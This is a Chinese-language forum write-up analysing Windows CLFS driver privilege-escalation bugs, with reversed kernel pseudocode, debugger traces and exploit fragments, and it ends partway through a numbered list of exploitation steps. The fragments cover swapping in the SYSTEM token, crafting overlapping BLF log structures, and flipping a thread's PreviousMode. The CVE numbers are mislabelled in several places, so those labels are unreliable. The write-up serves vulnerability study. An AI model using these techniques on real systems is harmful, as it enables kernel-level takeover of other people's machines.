首页
社区
课程
招聘
[原创]年终CLFS漏洞汇总分析
2022-12-18 12:47 20003

[原创]年终CLFS漏洞汇总分析

2022-12-18 12:47
20003

引用

这篇文章的目的是介绍今年出现的两个CLFS漏洞汇总分析.

 

目录

简介

文章结合了逆向代码和调试结果分析了CVE-2021-24521和CVE-2022-37969漏洞利用过程和漏洞成因.

CVE-2021-24521漏洞分析

CVE-2021-24521漏洞的成因是 SignatureOffset 字段的范围校验不严格,从而导致SignatureOffset 指向的区域可以与某个 ContainerContext 的 pContainer 指针重合.攻击者可以通过精心构造日志文件内容来触发这个漏洞,CLFS在解析日志文件时,会调用 ClfsEncodeBlock 函数将每个 512 字节扇区的最后两字节备份到 SignatureOffset 指向的偏移处,整个“备份”完成后,pContainer 指针会被替换为攻击者伪造的指针,具体相关分析清读者移步相关引用中的分析文章这里不再赘述。
首先借助漏洞,将内存中的 pContainer 指针覆盖为 fakeContainer 指针,并且事先已经伪造了 fakeContainer 的虚函数表。通过利用漏洞内存中的 ContainerContext 对象和其内部的 fakeContainer 指针,我们可以看到这个指针变为了一个用户态地址,它指向的虚表也变为了一个用户态地址。正常情况下,这两个地址应该位于内核空间。
接下来我们看一下在野样本是如何实现任意地址写入的,在 RemoveContainer 函数内,代码会尝试获取 pContainer 指针,并调用内部的两个虚函数。正常情况下这两个函数是 Release 和 Remove,把地址虚函数的地址替换为没有任何实际操作的ClfsSetEndOfLog函数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
__int64 __fastcall CClfsContainer::Close(CClfsContainer *this)
{
  CClfsContainer *that; // rbx
  void *v2; // rcx
  NTSTATUS hr; // edi
 
  that = this;
  v2 = (void *)this->field_DeviceObjectHint_20;
  if ( !v2 )
    return 3221225480i64;
  hr = ZwClose(v2);
  if ( hr >= 0 )
  {
    that->field_DeviceObjectHint_20 = 0i64;
    that->field_ContainerSize_8 = 0i64;
  }
  ObfDereferenceObject((PVOID)that->field_Device_Object_30);
  that->field_Device_Object_30 = 0i64;
  return (unsigned int)

关闭blf文件的调用这2个函数之前还会调用一次CClfsContainer::Close,由于pContainer是我们精确控制的内核态地址,把field_DeviceObjectHint_20置为一个任意的打开文件句柄,field_Device_Object_30置为要被ObfDereferenceObject递减Thread的PreviousMode地址, 将当前线程模式改为内核模式,这是一种直到windows11微软允许的利用方式,详见微软文档,这样就可以允许用户态访问内核态内存通过NtWriteVirtualMemory将当前进程自身的令牌替换为 System 进程的令牌,从而完成提权。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
bool WriteProcessToken() {
 
    unsigned long written = 0;
    ULONGLONG pToken[] = { 0, 0, 0, 0 };   
    NtWriteVirtualMemory(
        GetCurrentProcess(),
        &pToken,
        (PVOID)(SystemEProcessAddress + dwEProcessTokenPos - 0x10),
        0x20,
        &written);
 
    NTSTATUS ret = NtWriteVirtualMemory(
        GetCurrentProcess(),
        (PVOID)(selfEProcessAddress + dwEProcessTokenPos),
        &pToken[2],
        8,
        &written);
    if (ret) {
        printf("[+] Write EProcess token failed \n");
        return FALSE;
    }
 
    // restore user thread.
    Sleep(100);
    BYTE previouMode = 1;
    NtWriteVirtualMemory(
        GetCurrentProcess(),
        (PVOID)( ullKThreadAddress + dwThreadPreModePos ),
        &previouMode,
        1,
        &written);
 
    printf("[+] Write EProcess token Success! \n");
    return TRUE;
}

CVE-2021-24521漏洞分析后篇

在四月的CVE-2021-24521和九月的CVE-2021-24521,存在一个不知名的clfs漏洞,具体方式是通过一个混肴的CLIENT_CONTEXT和CONTAINER_CONTEXT结构公用同一片符号表内存,用实际只相差8大小的地址空间,导致CLFSHASHSYM结构的下个cbSymName和cbOffset正好是上个不做验证ulBelow和ulAbove字段,在关闭CONTAINER时绕过AcquireContainerContext检查还原重叠的PCLFS_CONTAINER_CONTEXT的pContainer 指针,在CONTAINER_CONTEXT结构后是原来的Container路径字符串,由于重叠的关系CLIENT_CONTEXT后的路径字符串没有对应的正确内容,但是clfs没有去验证这个限制,所以就实现了绕过类型混肴,具体利用方法片段如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
void vul(){
int ContainerOffset = 0x1528;
int ClientOffset = ContainerOffset-8;
PCLFS_LOG_BLOCK_HEADER hd = (PCLFS_LOG_BLOCK_HEADER)(pFileBuff + 0x8200);
ULONGLONG base_record_ptr = (ULONGLONG)hd + hd->RecordOffsets[0];
PCLFS_BASE_RECORD_HEADER base_record = PCLFS_BASE_RECORD_HEADER(base_record_ptr);
base_record->rgClients[0] = ClientOffset;
PCLFS_CLIENT_CONTEXT fakectx = (PCLFS_CLIENT_CONTEXT)(base_record_ptr + ClientOffset);
PCLFS_CONTAINER_CONTEXT orgctx = (PCLFS_CONTAINER_CONTEXT)(base_record_ptr + ContainerOffset);
PCLFSHASHSYM fakesym = (PCLFSHASHSYM)(base_record_ptr + ClientOffset - sizeof(CLFSHASHSYM));
PCLFSHASHSYM orgsym = (PCLFSHASHSYM)(base_record_ptr + ContainerOffset - sizeof(CLFSHASHSYM));
fakesym->cbSymName = ClientOffset + sizeof(CLFS_CLIENT_CONTEXT);
fakesym->cbOffset = ClientOffset;
fakectx->cidClient = 0;
fakectx->Reserved1 = 0;
fakectx->fAttributes = 0;
orgctx->pContainer = 0x40000000;
}

利用这个伪造的pContainer 指针,只要关闭blf文件句柄就会在析构函数中调用CClfsLogFcbPhysical::Finalize中文件中将原始 pContainer 指针从PCLFS_CONTAINER_CONTEXT读出,判断cActiveContainers字段是否大小大于0,当容器队列cidQueue值为-1时,最后调用pContainer自动关闭函数和指向其虚表的析构函数.可以采用CVE-2021-24521同样的利用方式利用.这2个漏洞的差别在于CVE-2021-24521的补丁修复了CClfsBaseFile::ValidateRgOffsets了SignaturesOffset,只是修复了Signature是否与符号相交的情况,却没修复符号表内部存在重叠混肴的情况.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
__int64 __fastcall CClfsBaseFile::AcquireContainerContext(CClfsBaseFilePersisted *this, unsigned int lsn, _CLFS_CONTAINER_CONTEXT **a3)
{
  _CLFS_CONTAINER_CONTEXT **ctnctx; // r14
      if ( 0 == that->field_cblock_28
      || (rgblock = that->field_rgBlocks_30, (ctrlhd = rgblock[2].pbImage) == 0i64)
      || (offset = ctrlhd->RecordOffsets[0],
          basesd = (_CLFS_BASE_RECORD_HEADER *)(&ctrlhd->MajorVersion + offset),
          cb = rgblock[2].cbImage,
          (unsigned int)offset >= cb)
      || (unsigned int)offset < 0x70
      || cb - (unsigned int)offset < 0x1338 )
    {
      basesd = 0i64;
    }
    if ( basesd )
    {
      ctnoffset = basesd->rgContainers[lsnref];
      if ( ctnoffset )
        result = CClfsBaseFile::GetSymbol(that, ctnoffset, lsnref, ctnctx);
      else
        result = 3221225480i64;
    }
    else
    {
      result = 3222929421i64;
    }
  }
  return result;
}
__int64 __fastcall CClfsBaseFile::GetSymbol(CClfsBaseFilePersisted *this, unsigned int offsetfrom, int containeridx, _CLFS_CONTAINER_CONTEXT **retval)
{
  _CLFS_CONTAINER_CONTEXT **retvalref; // r14 
  retvalref = retval;
  containeridxRef = containeridx;
  rgcontaineroffset = offsetfrom;
  file = this;
  hr = 0;
  v18 = 0;
  if ( offsetfrom < 0x1368 )
    return 0xC01A000Di64;
  *retval = 0i64;
  ExAcquireResourceSharedLite((PERESOURCE)this->field_lock_20, 1u);
  if ( !CClfsBaseFile::IsValidOffset(file, rgcontaineroffset + 0x2F) )
    goto LABEL_21;
  v11 = file->field_rgBlocks_30[2].pbImage;
  CClfsBaseFile::GetBaseLogRecord(file);
  rgcontaineroffsetRaw = 0;
  //   //RecordOffsets=70 ,rgcontaineroffset=14a0;14a0+800+70=1d10= _CLFS_CONTAINER_CONTEXT **a4,craw=800+70
  if ( (signed int)ULongAdd(rgcontaineroffset, v12->RecordOffsets[0], &rgcontaineroffsetRaw) < 0
    || !craw
    || rgcontaineroffsetRaw >= (unsigned int)v14->TotalSectorCount << 9
    || !(craw + rgcontaineroffset) )
  {
    goto LABEL_21;
  }
  //   _CLFS_CONTAINER_CONTEXT **a4 =1d10;poi(1d10-0n12)=cbOffset=rgcontaineroffset=14a0
  if ( *(_DWORD *)(craw + rgcontaineroffset - 0xC) != (_DWORD)rgcontaineroffset )
  {
    hr = 030000000010;
LABEL_15:
    v18 = hr;
    goto LABEL_16;
  }
  ctnsize = ClfsQuadAlign(0x30u);
  // cbOffset= (unsigned __int64)(pctnref + ctnsize)
  // cbOffset字符串位置正好是在container的结尾
  if ( pctn[-1].usnCurrent != (unsigned __int64)(pctnref + ctnsize) || pctn->cidContainer != containeridxRef )
  {
LABEL_21:
    hr = 0xC01A000D;
    goto LABEL_15;
  }
  *retvalref = pctn;
 
  return hr;
}

实际上clfs确实在CClfsBaseFilePersisted::LoadContainerQ中将CONTAINER_CONTEXT中pContainer指针覆盖为新申请的容器对象实例指针,但是由于符号表相交的关系在之后FlushMetadata中获取的CLIENT_CONTEXT是与CONTAINER_CONTEXT存在重叠的内存.存在漏洞的伪代码如下cltctx->llCreateTime.QuadPart = that->field_CtrateTime_1a0;这行代码将ClientContext+20的位置也就是CONTAINER_CONTEXT+18的值替换回之前CClfsLogFcbPhysical::Initialize初始化时保存在CClfsLogFcbPhysical->field_CtrateTime_1a0.上下文的旧值.这里需要绕过的是判断当前的日志是不是Multiplexed类型,所以采用多数据流Log:<LogName>[::<LogStreamName>]创建日志文件对象就可以绕过这个限制,具体详见微软CreateLogFile文档

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
__int64 __usercall CClfsLogFcbPhysical::Initialize@<rax>(CClfsLogFcbPhysical *this@<rcx>, void *a2@<rdx>, struct _SECURITY_SUBJECT_CONTEXT *a3@<r8>, __int16 a4@<r9w>, ACCESS_MASK DesiredAccess, unsigned int DesiredShareAccess, __int64 a7, struct _FILE_OBJECT *FileObject, unsigned __int8 a9)
{
CClfsBaseFile::AcquireClientContext(file->field_BaseFilePersisted_2A8, 0, &cltctx);
 if ( !(cltctx->eState & 0x20)
    || ((unsigned __int8 (__fastcall *)(CClfsLogFcbPhysical *, __int64, __int64, __int64, __int64))file->vftbl_0_00000001C0013440->CClfsLogFcbPhysical::IsMultiplexed_void)(
         file,
         attrval,
         v17,
         v18,
         Update) )
  {
  //保存pContainer指针为旧值在CClfsLogFcbPhysical中
   file->field_CtrateTime_1a0 = cltctx->llCreateTime.QuadPart;
 
  } else
  {
  //fakectx->eState = CLFS_LOG_SHUTDOWN;见下面分析
    CClfsLogFcbPhysical::ResetLog(file);
  }
}
__int64 __fastcall CClfsLogFcbPhysical::FlushMetadata(CClfsLogFcbPhysical *this)
{
 that = this;
  hr = CClfsBaseFile::AcquireClientContext(this->field_BaseFilePersisted_2A8, 0, &cltctx);
    //替换pContainer指针为旧值在ClientContext是与CLFS_CONTAINER_CONTEXT重叠的内存
    cltctx->llCreateTime.QuadPart = that->field_CtrateTime_1a0;   
...
    CClfsBaseFile::ReleaseClientContext((CClfsBaseFile *)that->field_BaseFilePersisted_2A8, &cltctx);
    v7 = CClfsBaseFilePersisted::FlushImage(that->field_BaseFilePersisted_2A8);
}
//在FlushImage中调用
__int64 __fastcall CClfsBaseFilePersisted::WriteMetadataBlock(CClfsBaseFilePersisted *this, unsigned int a2, char shadow)
{
 for ( i = 0; i < 0x400; ++i )
 {
      v15 = CClfsBaseFile::AcquireContainerContext(that, i, &ctn);
      what = (CClfsBaseFilePersisted *)((char *)that + 8 * i);
             ctnref = ctn;
        what->pContainer_1c0 = (void **)&ctn->pContainer->pctn;
        ctnref->pContainer = 0i64;
        CClfsBaseFile::ReleaseContainerContext((CClfsBaseFile *)that, &ctn);   
}
ClfsEncodeBlock(header, header->TotalSectorCount << 9, header->Usn, 0x10u, 1u);
ClfsDecodeBlock(header, header->TotalSectorCount, header->Usn, 0x10u, &v21);
pcontainersaved = (CClfsContainer **)&that->pContainer_1c0;
do
{
  if ( *pcontainersaved && (signed int)CClfsBaseFile::AcquireContainerContext(that, ctnidxsearch, &ctn) >= 0 )
  {
    ctn->pContainer = *pcontainersaved;
    CClfsBaseFile::ReleaseContainerContext((CClfsBaseFile *)that, &ctn);
  }
  ++ctnidxsearch;
  ++pcontainersaved;
}
while ( ctnidxsearch < 0x400 );      
}
`

FlushImage又调用WriteMetadataBlock在该函数中,首先会遍历每一个容器上下文,将pContainer先保存后置为0:然后调用ClfsEncodeBlock函数,对数据进行编码,此时记录中每0x200字节的后两个字节将被写入到SignaturesOffset指向的内存中,接着调用CClfsContainer::WriteSector函数,然后调用ClfsDecodeBlock函数对数据进行解码,并将之前保存的pContainer值重新写回.我们看下调试结果

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
bp CLFS!CClfsBaseFilePersisted::LoadContainerQ
bp CLFS!CClfsBaseFile::GetSymbol
0: kd> r
rax=0000000000000000 rbx=0000000000000000 rcx=ffffc784287c1000
rdx=0000000000001528 rsi=ffffdc0782e5c398 rdi=0000000000001528
rip=fffff80026ee2670 rsp=ffffb30823028f88 rbp=ffffb30823029760
 r8=0000000000000000  r9=ffffb30823029050 r10=fffff800272a7040
r11=ffffb308230289e0 r12=0000000000000000 r13=0000000000000000
r14=ffffc784287c1000 r15=ffffb30823029198
iopl=0         nv up ei pl nz na po nc
cs=0010  ss=0018  ds=002b  es=002b  fs=0053  gs=002b             efl=00040206
CLFS!CClfsBaseFile::GetSymbol:
fffff800`26ee2670 48895c2418      mov     qword ptr [rsp+18h],rbx ss:0018:ffffb308`23028fa0=ffffdc0782e5c398
2: kd> k
 # Child-SP          RetAddr           Call Site
00 ffffb308`23704f88 fffff800`26ee7294 CLFS!CClfsBaseFile::GetSymbol
01 ffffb308`23704f90 fffff800`26eb3156 CLFS!CClfsBaseFilePersisted::LoadContainerQ+0x2a4
02 ffffb308`23705100 fffff800`26edeb7b CLFS!CClfsLogFcbPhysical::Initialize+0x6da
03 ffffb308`23705240 fffff800`26ee0abb CLFS!CClfsRequest::Create+0x4ef
04 ffffb308`23705390 fffff800`26ee0887 CLFS!CClfsRequest::Dispatch+0x97
05 ffffb308`237053e0 fffff800`26ee07d7 CLFS!ClfsDispatchIoRequest+0x87
0: kd> gu
0: kd> dq poi(ffffb30823029050)
ffffdc07`82e5d598  00000030`00000000 00000000`00100000
//pContainer指针
ffffdc07`82e5d5a8  00000000`00000000 00000000`40000000
ffffdc07`82e5d5b8  00000002`00000001 00000000`00000000
//下pContainer指针硬件访问断点
ba w8  ffffdc07`82e5d598 +18
Breakpoint 3 hit
CLFS!CClfsBaseFilePersisted::LoadContainerQ+0x4e5:
fffff800`26ee74d5 4885c9          test    rcx,rcx
//LoadContainerQ中将CONTAINER_CONTEXT中pContainer指针覆盖为新申请的容器对象实例指针
0: kd> dps  poi(ffffdc07`82e5d5b0)
ffffdc07`8291bab0  fffff800`26ec35f0 CLFS!CClfsContainer::`vftable'
ffffdc07`8291bab8  00000000`00000000
ffffdc07`8291bac0  00000000`00000000
0: kd> dq ffffdc07`82e5d598
ffffdc07`82e5d598  00000030`00000000 00000000`00100000
ffffdc07`82e5d5a8  00000000`00000000 ffffdc07`8291bab0
ffffdc07`82e5d5b8  00000002`00000001 00000000`00000000
1: kd> g
Breakpoint 3 hit
CLFS!CClfsLogFcbPhysical::FlushMetadata+0x5d:
fffff800`26eb158d 488b83a8010000  mov     rax,qword ptr [rbx+1A8h]
1: kd> r
rax=0000000040000000 rbx=ffffc784288ed000 rcx=ffff80002b167180
rdx=0000000000000031 rsi=ffffc7842a3d2930 rdi=0000000000000000
rip=fffff80026eb158d rsp=ffffb30823029680 rbp=0000000000000001
 r8=0000000000000804  r9=ffffdc0782e5d590 r10=0000000000000000
r11=ffffdc0782e5c000 r12=ffffc784297e9dc8 r13=0000000000000000
r14=ffffc784297e9ee8 r15=ffffc78422c79c01
iopl=0         nv up ei ng nz na po nc
cs=0010  ss=0018  ds=002b  es=002b  fs=0053  gs=002b             efl=00040286
CLFS!CClfsLogFcbPhysical::FlushMetadata+0x5d:
fffff800`26eb158d 488b83a8010000  mov     rax,qword ptr [rbx+1A8h] ds:002b:ffffc784`288ed1a8=0000000200000001
1: kd> k
 # Child-SP          RetAddr           Call Site
00 ffffb308`23029680 fffff800`26ef1503 CLFS!CClfsLogFcbPhysical::FlushMetadata+0x5d
01 ffffb308`230296d0 fffff800`26eeea25 CLFS!CClfsLogFcbVirtual::Cleanup+0x213
02 ffffb308`23029760 fffff800`26eee939 CLFS!CClfsLogCcb::Cleanup+0xb1
03 ffffb308`230297b0 fffff800`26ee0955 CLFS!CClfsRequest::Cleanup+0x65
0c 0000000a`dc5ff920 00000000`00000000 0x00007ff8`d566a395
//FlushMetadata中获取的ClientContext是与CLFS_CONTAINER_CONTEXT重叠的内存.伪代码如下cltctx->llCreateTime.QuadPart = that->field_CtrateTime_1a0;替换pContainer指针为旧值
1: kd>  dq ffffdc07`82e5d598
ffffdc07`82e5d598  00000030`00000000 00000000`00100000
ffffdc07`82e5d5a8  00000000`00000000 00000000`40000000
ffffdc07`82e5d5b8  00000002`00000001 00000000`00000000
3: kd> kv
 # Child-SP          RetAddr           : Args to Child                                                           : Call Site
00 ffffb308`23029618 fffff800`26eb8655 : ffffc784`287c1000 ffffc784`288ed000 00000000`00000000 fffff800`26eceb01 : CLFS!CClfsContainer::Close
01 ffffb308`23029620 fffff800`26eb87b6 : ffffdc07`82e5d598 ffffc784`288ed000 fffff800`26eceb20 00000000`00000000 : CLFS!CClfsLogFcbPhysical::CloseContainers+0x69
02 ffffb308`23029650 fffff800`26eb8761 : 00000000`00000000 ffffc784`288ed000 fffff800`26eceb20 ffffc784`288ed2f8 : CLFS!CClfsLogFcbPhysical::Finalize+0x42
03 ffffb308`23029680 fffff800`26eb9889 : ffffc784`2883d801 ffffc784`288ed250 00000000`00000000 ffffc784`297e9e28 : CLFS!CClfsLogFcbPhysical::Release+0xb1
04 ffffb308`230296e0 fffff800`26eddfd2 : ffffc784`2883d830 ffffc784`2883d801 00000000`00000000 ffffc784`2883d830 : CLFS!CClfsLogFcbVirtual::Release+0x69
05 ffffb308`23029720 fffff800`26ee0908 : ffffc784`2883d830 ffffc784`22c79c80 ffffc784`2883d830 00000000`00000000 : CLFS!CClfsRequest::Close+0xd6
06 ffffb308`23029770 fffff800`26ee07d7 : ffffc784`2883d830 ffffc784`2883d830 00000000`00000000 fffff800`27cf4204 : CLFS!ClfsDispatchIoRequest+0x108
3: kd> r
//rcx就是pContainer指针为旧值
rax=0000000000000000 rbx=ffffc784288ed000 rcx=0000000040000000
rdx=0000000000000000 rsi=0000000000000000 rdi=0000000000000000
rip=fffff80026eeb438 rsp=ffffb30823029618 rbp=ffffdc0782e5d598
 r8=ffffb30823029550  r9=ffffdc0782e5c070 r10=0000000000000000
r11=ffffdc0782e5c000 r12=0000000000000000 r13=0000000000000001
r14=fffff80026eceb20 r15=ffffc78422c79c80
iopl=0         nv up ei pl nz na po nc
cs=0010  ss=0018  ds=002b  es=002b  fs=0053  gs=002b             efl=00040206
CLFS!CClfsContainer::Close:
fffff800`26eeb438 48895c2408      mov     qword ptr [rsp+8],rbx ss:0018:ffffb308`23029620=ffffc784287c1000
3: kd> dq 0000000040000000
00000000`40000000  0000010d`844b0000 00000000`00000000
00000000`40000010  00000000`00000000 00000000`00000000
00000000`40000020  00000000`0000009c 00000000`00000000
//ullKThreadAddress + dwThreadPreModePos + 0x30;就是Thread的PreMode地址
00000000`40000030  ffffc784`29c79322 00000000`00000000
//ThreadPreMode地址
00000000`40000030  ffffc784`26d0b2e2 00000000`00000000
//调用pContainer指针为伪造的虚表函数地址
rax=fffff80026f10190 rbx=ffffc784288ed000 rcx=0000000040000000
rdx=00000000746c6644 rsi=0000000000000000 rdi=0000000000000000
rip=fffff80026eb8660 rsp=ffffb30823029620 rbp=ffffdc0782e5d598
 r8=ffffc7842a3ce08e  r9=0000000000000006 r10=fffff80027216270
r11=ffffc78426d0b080 r12=0000000000000000 r13=0000000000000001
r14=fffff80026eceb20 r15=ffffc78422c79c80
iopl=0         nv up ei ng nz na pe nc
cs=0010  ss=0018  ds=002b  es=002b  fs=0053  gs=002b             efl=00040282
CLFS!CClfsLogFcbPhysical::CloseContainers+0x74:
fffff800`26eb8660 ff157abf0100    call    qword ptr [CLFS!_guard_dispatch_icall_fptr (fffff800`26ed45e0)] ds:002b:fffff800`26ed45e0={CLFS!guard_dispatch_icall_nop (fffff800`26ebd4e0)}
5: kd> ln rax
(fffff800`26f10190)   CLFS!ClfsSetEndOfLog   |  (fffff800`26f101f0)   CLFS!ClfsSetLogFileInformation
4: kd> !thread
THREAD ffffc78429c790c0  Cid 15bc.08e4  Teb: 00000040e33dc000 Win32Thread: 0000000000000000 RUNNING on processor 4
Child-SP          RetAddr           : Args to Child                                                           : Call Site
ffffb308`23835618 fffff800`26eb8655 : ffffc784`280ef000 ffffc784`29603000 00000000`00000000 fffff800`26eceb01 : CLFS!CClfsContainer::Close
ObfDereferenceObject递减Thread的PreMode地址, 将当前线程模式改为内核模式
4: kd> dt nt!_KTHREAD ffffc78429c790c0  -y Previous
   +0x232 PreviousMode : 0 ''

CVE-2022-37969漏洞分析

CVE-2021-24521漏洞的成因是由于缺乏对 CLFS.sys 中基本日志文件 (BLF) 的基本记录头中的字段 cbSymbolZone 的严格边界检查。 cbSymbolZone存在一个名为CLFS_BASE_RECORD_HEADER的结构体,在此复制一下,本文中所有用到的结构体均可在blf.bt(010编辑器分析blf文件)附件中找到:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
typedef struct _CLFS_BASE_RECORD_HEADER
{
CLFS_METADATA_RECORD_HEADER hdrBaseRecord;
CLFS_LOG_ID cidLog;
ULONGLONG rgClientSymTbl[CLIENT_SYMTBL_SIZE];
ULONGLONG rgContainerSymTbl[CONTAINER_SYMTBL_SIZE];
ULONGLONG rgSecuritySymTbl[SHARED_SECURITY_SYMTBL_SIZE];
ULONG cNextContainer;
CLFS_CLIENT_ID cNextClient;
ULONG cFreeContainers;
ULONG cActiveContainers;
ULONG cbFreeContainers;
ULONG cbBusyContainers;
ULONG rgClients[MAX_CLIENTS_DEFAULT];
ULONG rgContainers[MAX_CONTAINERS_DEFAULT];
ULONG cbSymbolZone;
ULONG cbSector;
USHORT bUnused;
CLFS_LOG_STATE eLogState;
UCHAR cUsn;
UCHAR cClients;
} CLFS_BASE_RECORD_HEADER, *PCLFS_BASE_RECORD_HEADER;

可以看到其中就包括了一个名为cbSymbolZone的成员。在IDA中搜索该成员名字,可以找到唯一个操作该成员的函数CClfsBaseFilePersisted::AllocSymbol:
如果字段 cbSymbolZone 设置为无效偏移量,则会在无效偏移量处发生越界写入.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
signed __int64 __fastcall CClfsBaseFilePersisted::AllocSymbol(CClfsBaseFilePersisted *this, unsigned int allowlen, void **endofSymZonePtrFrom)
{
  void **endofSymZonePtrRet; // rsi
  __int64 allowlenref; // rbp
  _CLFS_BASE_RECORD_HEADER *BaseLogRecord; // rax
  CClfsBaseFilePersisted *that; // r8
  _CLFS_BASE_RECORD_HEADER *BaseLogRecordRef; // rdi
  _CLFS_LOG_BLOCK_HEADER *hdr; // rcx
  __int64 cbSymbolZone; // r8
  char *endofSymZonePtr; // rbx
  signed __int64 result; // rax
  endofSymZonePtrRet = endofSymZonePtrFrom;
  allowlenref = allowlen;
  BaseLogRecord = CClfsBaseFile::GetBaseLogRecord(this);
  BaseLogRecordRef = BaseLogRecord;
  if ( !BaseLogRecord )
    return 0xC01A000Di64;;
  hdr = that->field_rgBlocks_30[2].pbImage;
  *endofSymZonePtrRet = 0i64;
  cbSymbolZone = BaseLogRecord->cbSymbolZone;
  //下文要绕过的限制
  if ( (char *)&BaseLogRecord[1] + cbSymbolZone + allowlenref > (char *)(&hdr->MajorVersion + hdr->SignaturesOffset) )
    return 0xC0000023i64;
  endofSymZonePtr = (char *)&BaseLogRecord[1] + cbSymbolZone;
  memset(endofSymZonePtr, 0, (unsigned int)allowlenref);
  BaseLogRecordRef->cbSymbolZone += allowlenref;
  result = 0i64;
  *endofSymZonePtrRet = endofSymZonePtr;
  return result;
}

可以看出,在这里cbSymbolZone成员的作用是标识在BLF文件中,CLFS_BASE_RECORD_HEADER后所有符号表的路径字符串(符号)总共占用了多少空间.在内存中,当新增添加一个Container时,使用该成员用来计算新增的Container应该跳过多少空间往后排(即跳过现有的最后一个container的路径字符串),并申请sizeof(CLFSHASHSYM)也就是0x30大小空间,然后清零这片内存.但该函数直接使用使用了来自BLF文件中存储的cbSymbolZone的值,该值可以是大于0、小于到结尾的任意值。举例来说就是,它可以让跳过的空间很少,从而改写了现有最后一个container路径字符串,更小则可清零container结构本身的pcontainer指针。pcontainer是内核态指针位于ffff000000000000000区域,如果高20位被清零,那截断后的地址低12指针地址就可以指向用户态可申请内存地址,VirtualAlloc申请0x10000000大小内存后就可以完全覆盖这片地址.由于pcontainer指针总是一0x10字节对其的,可以采用替换虚表函数为SeSetAccessStateGenericMapping方法利用.
利用的方式也是一样修改Thread的PreviousMode字段,这个函数作用就是对rcx+8的地址自增实现相同的效果,所以只要把所有的每0x10个字节把+0处填为虚表,+8处填为PreviousMode地址就可以了.在这里有一个需要绕过的地方就是CClfsContainer::Close处.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
void __fastcall CClfsLogFcbPhysical::Finalize(CClfsLogFcbPhysical *this, char a2)
{
    //DeleteLogByHandle方式
    if ( file->clientshuwdown_15c & 0x10 )
    {
      CClfsLogFcbPhysical::DeleteBaseFileAndContainers(file);
      {
       if ( (signed int)CClfsBaseFile::AcquireContainerContext(v1->field_BaseFilePersisted_2A8, v5, &ctn) >= 0 )
      {
 
          CClfsBaseFile::ReleaseContainerContext((CClfsBaseFile *)v1->field_BaseFilePersisted_2A8, &ctn);
          CClfsBaseFilePersisted::RemoveContainer(v1->field_BaseFilePersisted_2A8, ctn);        
          ((void (__fastcall *)(CClfsContainer *, __int64, __int64, __int64, _BYTE))ctn->pctn->CClfsContainer::Remove_void)(
              ctn,
              v14,
              v15,
              v16,
              0);          
 
        }    
    }
    else
    {
    //活动容器大小是不是大于0
     if ( (unsigned int)CClfsBaseFile::ContainerCount(v3) )
      {
        CClfsLogFcbPhysical::CloseContainers(file);
        {
        if ( (signed int)CClfsBaseFile::AcquireContainerContext(v1->field_BaseFilePersisted_2A8, v5, &ctn) >= 0 )
        {
        //直接关闭句柄的方式
        CClfsContainer::Close(pctn);
        ((void (__fastcall *)(ULONGLONG, __int64, __int64, __int64, __int64))v4->pContainer->pctn->CClfsContainer::Release_void)(
        v4->ullAlignment,
        v6,
        v7,
        v8,
        v10);
        v4->ullAlignment = 0i64;
        }
        CClfsBaseFile::ReleaseContainerContext((CClfsBaseFile *)v3->field_BaseFilePersisted_2A8, &ctnctx);
        }
        }
      }
    }
}

这里pcontainer指针总是一0x10字节对齐的,所以我们无法预估pcontainer+20和+30的检测点字段可能会出现在什么位置,走到CClfsContainer::Close里面和之前的一样函数利用的话就会因为要关闭的句柄不是合法的出错,一种可行的方案是DeleteLogByHandle或者原文的NtSetInformationFile->FileDispositionInformation方式将file->clientshuwdown_15c设为0x10这样就会走到上方伪代码的第一个if入口在里面直接调用container的虚表函数,从而绕过了CClfsContainer::Close检查.这里有个限制DeleteLogByHandle会对CreateLogFile的参数进行检查只要赋予所有读写权限GENERIC_ALL即可绕过这个检查.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
__int64 __fastcall ClfsDeleteLogByPointer(struct _FILE_OBJECT *a1)
{
    hr = CClfsLogCcb::CheckAccess(v8, 4);
    {
    if ( a2 & 1 && !this->field_fileobj_48->ReadAccess
    || a2 & 2 && !this->field_fileobj_48->WriteAccess
    || a2 & 4 && !this->field_fileobj_48->DeleteAccess )
    {
    hr = -1073741790;
    }
    }
    if ( hr==0 )
    {
        if ( !CClfsLogFcbCommon::IsReadOnly(v5) )
      {
        file->clientshuwdown_15c = v10 | 0x10;
 
      }
    }
}

利用步骤

CVE-2022-37969分析原文的利用方式比较麻烦,我先来阐述下具体利用步骤.

 

1.创建主blf文件通过CreateLogFile并关闭文件

 

2.创建一大堆的blf文件,通过查询BigPoolInformation确保最后申请的2个blf文件的MetadataBlock相隔距离正好为0x11000字节,并关闭最后申请的2个blf文件

 

3.篡改主blf文件MetaBlockScratch内容为以下代码,包括构造FAKE_CLIENT_CONTEXT

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
PCLFS_LOG_BLOCK_HEADER hd = (PCLFS_LOG_BLOCK_HEADER)(pFileBuff + 0x800);
hd->SignaturesOffset = 0x50;
